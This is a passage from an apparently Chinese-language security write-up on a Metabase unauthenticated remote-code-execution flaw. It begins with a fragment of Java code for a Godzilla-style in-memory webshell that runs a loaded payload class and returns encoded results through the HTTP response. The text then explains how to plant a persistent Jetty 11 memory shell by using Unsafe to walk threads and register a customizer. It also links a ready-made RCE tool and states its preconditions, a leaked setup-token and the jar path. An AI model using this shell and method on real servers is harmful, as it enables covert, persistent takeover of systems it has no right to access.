0, data.length); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(request); PrintWriter writer = request.getResponse().getWriter(); writer.write(md5.substring(0, 16)); f.toString(); writer.write(base64Encode(x(arrOut.toByteArray(), true))); writer.write(md5.substring(16)); writer.flush(); } } } catch (Exception e) { } } }
内置2种马,一种是cmd马,一种是哥斯拉内存马。
思路也是很简单,我们利用Unsafe类可以得到任意的类的属性。遍历当前进程,最后获取到HttpConnection
对象,然后利用这个类去注册一个customizer,customizer相当于tomcat里的value型内存马。和Filter马是一样用的。
最后是成功连接
https://github.com/Boogipop/MetabaseRceTools
首先需要存在setup-token泄露,其次必须知道jar文件的位置,默认是当前位置
从上述分析来看,一个未授权引起的RCE,但是修复方法是将setup-token不再显示,而没有对漏洞本身进行任何修复,那也就是说我们是不是还是可以通过某种方法获取到token,然后继续利用呢?然后jetty层的内存马也是比较高深莫测的。之前用的是jetty9,而metabase自带的是jetty11,也对应了jdk11,高版本jdk下的内存马还是需要我们一些探索的。
然后我们获取上下文context的方法最普遍的还是遍历线程,然后获取其中的属性。